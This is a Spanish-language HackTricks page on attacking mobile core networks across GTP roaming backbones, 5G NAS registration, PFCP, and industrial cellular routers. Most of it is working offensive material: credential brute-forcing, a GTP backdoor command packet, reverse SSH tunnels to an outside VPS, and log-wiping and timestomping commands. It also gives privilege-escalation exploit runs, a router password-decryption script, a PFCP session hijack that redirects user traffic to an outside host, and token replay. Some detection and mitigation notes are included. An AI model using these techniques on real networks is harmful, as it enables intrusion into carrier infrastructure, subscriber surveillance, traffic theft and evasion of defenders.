Explotación de redes de telecomunicaciones (GTP / entornos de roaming)

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Note

Los protocolos del núcleo móvil (GPRS Tunnelling Protocol – GTP) a menudo atraviesan backbones de roaming GRX/IPX semiconfiables. Porque viajan sobre UDP sin protección y con casi ninguna autenticación, cualquier foothold dentro del perímetro de una telecom suele poder alcanzar directamente los planos de señalización core. Las notas siguientes recogen trucos ofensivos observados in the wild contra SGSN/GGSN, PGW/SGW y otros nodos EPC.

1. Recon & Acceso inicial

1.1 Default OSS / NE Accounts

Un conjunto sorprendentemente grande de elementos de red de vendor se entrega con usuarios SSH/Telnet hard-coded como root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Una wordlist dedicada aumenta dramáticamente el éxito de brute-force:

hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Si el dispositivo expone únicamente un VRF de gestión, pivota primero a través de un jump host (ver la sección «SGSN Emu Tunnel» más abajo).

1.2 Host Discovery inside GRX/IPX

La mayoría de los operadores GRX aún permiten ICMP echo a través del backbone. Combina masscan con las sondas UDP gtpv1 integradas para mapear rápidamente los listeners GTP-C:

masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Enumerating Subscribers – cordscan

La siguiente herramienta en Go crea paquetes GTP-C Create PDP Context Request y registra las respuestas. Cada respuesta revela el actual SGSN / MME que sirve el IMSI consultado y, a veces, el PLMN visitado del suscriptor.

# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Flags clave:

  • --imsi IMSI del suscriptor objetivo
  • --oper Home / HNI (MCC+MNC)
  • -w Escribe paquetes raw a pcap

Constantes importantes dentro del binario pueden ser parcheadas para ampliar los escaneos:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Ejecución de código sobre GTP – GTPDoor

GTPDoor es un pequeño servicio ELF que se enlaza a UDP 2123 y parsea cada paquete GTP-C entrante. Cuando la carga útil comienza con una etiqueta precompartida, el resto se descifra (AES-128-CBC) y se ejecuta vía /bin/sh -c. El stdout/stderr se exfiltra dentro de mensajes Echo Response de modo que nunca se crea una sesión saliente.

Paquete PoC mínimo (Python):

import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Detección:

  • cualquier host que envíe unbalanced Echo Requests a las IPs de SGSN
  • bandera de versión GTP establecida en 1 mientras el tipo de mensaje = 1 (Echo) – desviación respecto a la especificación

4. Pivoting a través del Core

4.1 sgsnemu + SOCKS5

OsmoGGSN incluye un emulador de SGSN capaz de establecer un contexto PDP hacia un GGSN/PGW real. Una vez negociado, Linux recibe una nueva interfaz tun0 accesible desde el peer de roaming.

sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Con un correcto hair-pinning del firewall, este túnel evita las VLANs solo de señalización y te sitúa directamente en el plano de datos.

4.2 SSH Reverse Tunnel over Port 53

DNS está casi siempre abierto en infraestructuras de roaming. Expón un servicio SSH interno en tu VPS escuchando en el puerto :53 y conéctate más tarde desde casa:

ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Comprueba que GatewayPorts yes esté habilitado en el VPS.

5. Canales encubiertos

CanalTransporteDecodificaciónNotas
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte key + 14-byte chunks (XOR)escucha puramente pasiva, sin tráfico saliente
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) encoded in A-record octetsvigila el subdominio *.nodep
GTP – GTPDoorUDP 2123AES-128-CBC blob in private IEse mezcla con el tráfico legítimo de GTP-C

Todos los implants implementan watchdogs que timestomp sus binarios y re-spawn si se bloquean.

6. Hoja de referencia de evasión de defensas

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Escalada de privilegios en NE heredado

# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Consejo de limpieza:

userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Tool Box

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – herramientas personalizadas descritas en secciones previas.
  • FScan : intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : lightweight SOCKS5 pivoting
  • FRP (≥0.37) : NAT traversal / asset bridging

9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

El procedimiento de registro 5G se ejecuta sobre NAS (Non-Access Stratum) encima de NGAP. Hasta que la seguridad NAS se activa mediante Security Mode Command/Complete, los mensajes iniciales no están autenticados ni cifrados. Esta ventana previa a la seguridad permite múltiples vectores de ataque cuando puedes observar o manipular tráfico N2 (por ejemplo, on-path dentro del core, gNB rogue, o testbed).

Flujo de registro (simplificado):

  • Registration Request: UE envía SUCI (SUPI cifrado) y capacidades.
  • Authentication: AMF/AUSF envían RAND/AUTN; UE devuelve RES*.
  • Security Mode Command/Complete: se negocian y activan integridad y cifrado NAS.
  • PDU Session Establishment: configuración IP/QoS.

Consejos para el laboratorio (no-RF):

  • Core: la implementación por defecto de Open5GS es suficiente para reproducir los flujos.
  • UE: simulador o UE de prueba; decodificar usando Wireshark.
  • Active tooling: 5GReplay (capture/modify/replay NAS dentro de NGAP), Sni5Gect (sniff/patch/inject NAS on the fly sin levantar un gNB rogue completo).
  • Filtros útiles en Wireshark:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI

Esperado: UE/USIM debe transmitir SUCI (SUPI cifrado con la clave pública de la home-network). Encontrar un SUPI/IMSI en texto claro en el Registration Request indica un fallo de privacidad que permite tracking persistente del suscriptor.

Cómo probar:

  • Captura el primer mensaje NAS en InitialUEMessage e inspecciona el Mobile Identity IE.
  • Chequeos rápidos en Wireshark:
  • Debe decodificarse como SUCI, no como IMSI.
  • Ejemplos de filtros: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci debería existir; la ausencia junto con la presencia de imsi indica exposición.

Qué recolectar:

  • MCC/MNC/MSIN si están expuestos; registrar por UE y rastrear a través del tiempo/ubicaciones.

Mitigación:

  • Forzar UEs/USIMs que usen solo SUCI; alertar ante cualquier IMSI/SUPI en NAS inicial.

9.2 Capability bidding-down to null algorithms (EEA0/EIA0)

Antecedentes:

  • UE anuncia los EEA (encryption) y EIA (integrity) soportados en el UE Security Capability IE del Registration Request.
  • Mapeos comunes: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 son algoritmos nulos.

Problema:

  • Debido a que el Registration Request no está protegido por integridad, un atacante on-path puede limpiar bits de capability para forzar la selección de EEA0/EIA0 más adelante durante Security Mode Command. Algunos stacks aceptan erróneamente algoritmos nulos fuera de servicios de emergencia.

Pasos ofensivos:

  • Intercepta InitialUEMessage y modifica el NAS UE Security Capability para anunciar solo EEA0/EIA0.
  • Con Sni5Gect, hookea el mensaje NAS y parchea los bits de capability antes de reenviarlo.
  • Observa si el AMF acepta null ciphers/integrity y completa Security Mode con EEA0/EIA0.

Verificación/visibilidad:

  • En Wireshark, confirma los algoritmos seleccionados después de Security Mode Command/Complete.
  • Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Mitigaciones (obligatorias):

  • Configurar AMF/policy para rechazar EEA0/EIA0 excepto donde esté estrictamente mandatado (p. ej., emergency calls).
  • Preferir imponer EEA2/EIA2 como mínimo; registrar y generar alarmas ante cualquier contexto de seguridad NAS que negocie algoritmos nulos.

9.3 Reproducción (replay) de la Registration Request inicial (pre-security NAS)

Debido a que el NAS inicial carece de integridad y frescura, el InitialUEMessage+Registration Request capturado puede ser reproducido al AMF.

PoC rule for 5GReplay to forward matching replays:

<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

Qué observar:

  • Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.

Mitigaciones:

  • Enforce replay protection/context binding at AMF; rate-limit and correlate por GNB/UE.

9.4 Tooling pointers (reproducible)

  • Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
  • Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
  • 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
  • Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.

9.5 Defensive checklist

  • Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
  • Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
  • Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
  • Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.

10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)

El abuso de APIs web expuestas de enrutadores celulares industriales permite smishing sigiloso originado por el carrier a escala. Milesight UR-series routers exponen un JSON-RPC–style endpoint at /cgi. Cuando están mal configuradas, la API puede consultarse sin autenticación para listar la bandeja de entrada/salida de SMS y, en algunas implementaciones, para enviar SMS.

Typical unauthenticated requests (same structure for inbox/outbox):

POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

Las respuestas incluyen campos como timestamp, content, phone_number (E.164) y status (success o failed). Envíos repetidos con failed al mismo número suelen ser “comprobaciones de capacidad” del atacante para validar que un router/SIM puede entregar antes de enviar masivamente.

Ejemplo de curl para exfiltrate metadatos de SMS:

curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

Notas sobre artefactos de auth:

  • Algunos paquetes de tráfico pueden incluir una auth cookie, pero una gran parte de los dispositivos expuestos responden sin ninguna autenticación a query_inbox/query_outbox cuando la interfaz de gestión es Internet-facing.
  • En entornos que requieren auth, las credenciales previously-leaked (véase abajo) restauran el acceso.

Ruta de recuperación de credenciales – CVE-2023-43261:

  • Familias afectadas: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
  • Problema: logs servidos por web (p.ej., httpd.log) son accesibles sin autenticación bajo /lang/log/ y contienen eventos de inicio de sesión de admin con la contraseña cifrada usando una hardcoded AES key/IV presente en client-side JavaScript.
  • Acceso práctico y descifrado:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

Python mínimo para descifrar leaked passwords (AES-128-CBC, hardcoded key/IV):

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

Ideas de hunting y detección (network):

  • Alerta sobre POST /cgi no autenticados cuyo cuerpo JSON contiene base/function configurado en query_inbox o query_outbox.
  • Rastrear ráfagas repetidas de POST /cgi seguidas de entradas status":"failed" a través de muchos números únicos desde la misma IP de origen (capability testing).
  • Inventariar routers Milesight expuestos a Internet; restringir la gestión a VPN; desactivar funciones SMS salvo que sean necesarias; actualizar a ≥ v35.3.0.7; rotar credenciales y revisar logs SMS por envíos desconocidos.

Shodan/OSINT pivots (examples seen in the wild):

  • http.html:"rt_title" coincide con paneles de routers Milesight.
  • Google dorking para logs expuestos: "/lang/log/system" ext:log.

Impacto operativo: usar SIMs de carrier legítimos dentro de routers ofrece una entregabilidad/credibilidad de SMS muy alta para phishing, mientras que la exposición de inbox/outbox leaks metadatos sensibles a escala.


11. PFCP Session Hijack & GTP-U TEID Abuse

11.1 PFCP Session Modification to steal flows

Si puedes hablar PFCP en N4 (p. ej., desde un segmento GRX/IPX mal filtrado), crea una Session Modification Request que inserte un PDR ID duplicado pero con una Precedence menor y un FAR que apunte a tu host. Algunos UPFs (p. ej., OAI-cn5g) aplican el primer PDR coincidente y nunca verifican unicidad, por lo que el PDR malicioso secuestra todos los paquetes subsiguientes de esa PDU session hacia tu sink.

Minimal Scapy PoC (supone que PFCP contrib está disponible y que conoces SEID/PDR IDs):

Scapy PFCP session hijack PoC ```python from scapy.all import * from scapy.contrib.pfcp import *

n4 = “10.10.20.5” # UPF N4 seid = 0x123456789abc pdr_id = 7 # existing PDR ID in session far_id = 77 # new malicious FAR

pkt = IP(dst=n4)/UDP(sport=8805,dport=8805)/PFCP( S=1, seid=seid, msg_type=MODIFICATION_REQUEST)/PFCPSessionModificationRequest( IE_list=[PDR(id=pdr_id, precedence=1, outer_header_removal=0, far_id=fid_identifier(far_id)), FAR(id=far_id, apply_action=0b10, # FORWARD forwarding_parameters=ForwardingParameters( outer_header_creation=OuterHeaderCreation( desc=0x0002, ipv4_address=“203.0.113.55”, teid=0xdeadbeef)))] ) send(pkt, verbose=False)

</details>

### 11.2 Inyectando tráfico de usuario mediante suplantación de TEIDs
Si el uplink GTP-U desde el backbone no está ACL’d, puedes reproducir/adivinar **TEIDs** vistos en las cabeceras GTP-U y encapsular IP/TCP arbitrario hacia el peer del **UE** o hacia Internet. Ejemplo craft:
```python
send(IP(dst="10.10.20.8")/UDP(dport=2152,sport=2152)/
GTP_U_Header(teid=0x7ffed00)/
IP(src="10.0.0.10",dst="1.1.1.1")/TCP(dport=443,flags="S"))

Combínalo con passive sniffing en N3/N6 para averiguar active TEIDs; muchos stacks PGW/UPF aceptan cualquier uplink source una vez que el TEID coincide.


12. SBA/SBI Fuzzing & Cross-Service Token Attack (free5GC R17)

FivGeeFuzz (academic 2025) deriva automáticamente gramáticas de las 3GPP OpenAPI specs para fuzz HTTP-based SBIs. Contra free5GC descubrió ocho bugs, incluyendo el abuso Cross-Service Token: un NF comprometido obtiene un access token para Service A y lo reutiliza contra Service B porque faltaban audience/issuer checks en el NF objetivo.

Idea rápida de replay (asumiendo que robaste un NRF-issued token de cualquier NF):

# Swap :authority to the victim NF and reuse the bearer token
curl -sk -H "Authorization: Bearer $TOKEN" \
-H "Host: smf.internal" \
https://smf.internal/nsmf-pdusession/v1/sm-contexts

Para fuzz automáticamente con las gramáticas de FivGeeFuzz:

python3 fivgeefuzz.py --nf nsmf-pdusession \
--target https://smf.internal \
--grammar grammars/nsmf-pdusession.json \
--token "$TOKEN" --threads 8 --max-cases 500

Vigila bypasses 401/403 y crashes en pods SMF/AMF; las builds parcheadas de free5GC rechazan aud/iss no coincidentes.


Ideas de detección

  1. Cualquier dispositivo que no sea un SGSN/GGSN estableciendo Create PDP Context Requests.
  2. Puertos no estándar (53, 80, 443) recibiendo SSH handshakes desde IPs internas.
  3. Echo Requests frecuentes sin las correspondientes Echo Responses – podrían indicar beacons de GTPDoor.
  4. Alta tasa de tráfico ICMP echo-reply con campos identifier/sequence grandes y no cero.
  5. 5G: InitialUEMessage con NAS Registration Requests repetidos desde endpoints idénticos (señal de replay).
  6. 5G: NAS Security Mode negociando EEA0/EIA0 fuera de contextos de emergencia.
  7. PFCP: Session Modification con PDR IDs duplicados o redirección súbita de FAR a IPs off-net.
  8. SBA: NRF emite tokens cuyo aud no coincide con el NF llamado – indicativo de Cross-Service Token replay.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks